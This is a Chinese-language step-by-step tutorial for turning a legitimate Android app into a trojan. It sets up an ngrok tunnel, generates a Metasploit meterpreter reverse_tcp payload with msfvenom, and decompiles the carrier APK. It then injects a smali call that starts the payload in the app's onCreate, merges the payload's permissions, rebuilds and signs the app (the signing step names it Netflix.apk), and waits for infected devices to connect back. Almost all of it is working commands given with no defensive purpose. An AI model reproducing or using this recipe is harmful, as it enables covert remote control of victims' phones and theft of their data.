手动注入payload至apk文件

准备工作

kali linux
cpu-x.apk(载体)
m.apk msf生成的木马

step1:内网穿透

  • 本人选择了sun-ngrok做内网穿透,最低10rmb。
    1.注册并登录sun-ngrok官网
    2.开通隧道

    隧道协议tcp;名称随意;远程端口随意,本地端口随意
    3.掏钱
    4.下载ngrok客户端
    5.解压并运行客户端
    1
    ./sunny clientid 隧道id  #登录官网后在隧道管理中可以找到隧道id

  • 至此内网穿透完成,掏钱就是快

step2:生成PAYLOAD

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=ip/域名  LPORT=监听端口号 -o 应用名.apk   #LHOST填ngrok赠送的域名(去掉前面的tcp://) LPORT填写ngrok设置的远程端口

step3:反编译cpu-x.apk(载体)和 m.apk(PAYLOAD)

1
2
apktool d m.apk
apktool d cpu-x.apk


step4:注入PAYLOAD

1.进入cpu-x文件夹,打开AndroidManifest.xml文件
2.搜索关键字Launch和Main找到所对应启动的smail文件,说白了就是找app启动文件路径

3.根据上图中的路径打开启动文件,搜索onCreat函数,找到bundle对象,换行添加启动PAYLOAD代码:

1
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V


4.将木马文件中的smali文件复制到载体smali文件夹中

1
cp -r m/smali/* cpu-x/smali/com/

step5:增加权限

1.打开木马AndroidManifest.xml文件
复制以

1
<uses-permission android:name=.......>

开头的所有代码按照格式复制到载体cpu-x的AndroidManifest.xml文件中,删除重复权限就ok

step6:回编译

1
apktool b cpu-x
  • 回编译完成的apk文件在cpu-x/dist 文件夹中

step7:签名

生成KEYSTORE:

1
keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222

签名:

1
jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1

step8:测试

并打开msf控制台,设置好监听参数后,等待上线。

*LPORT是ngrok设置的端口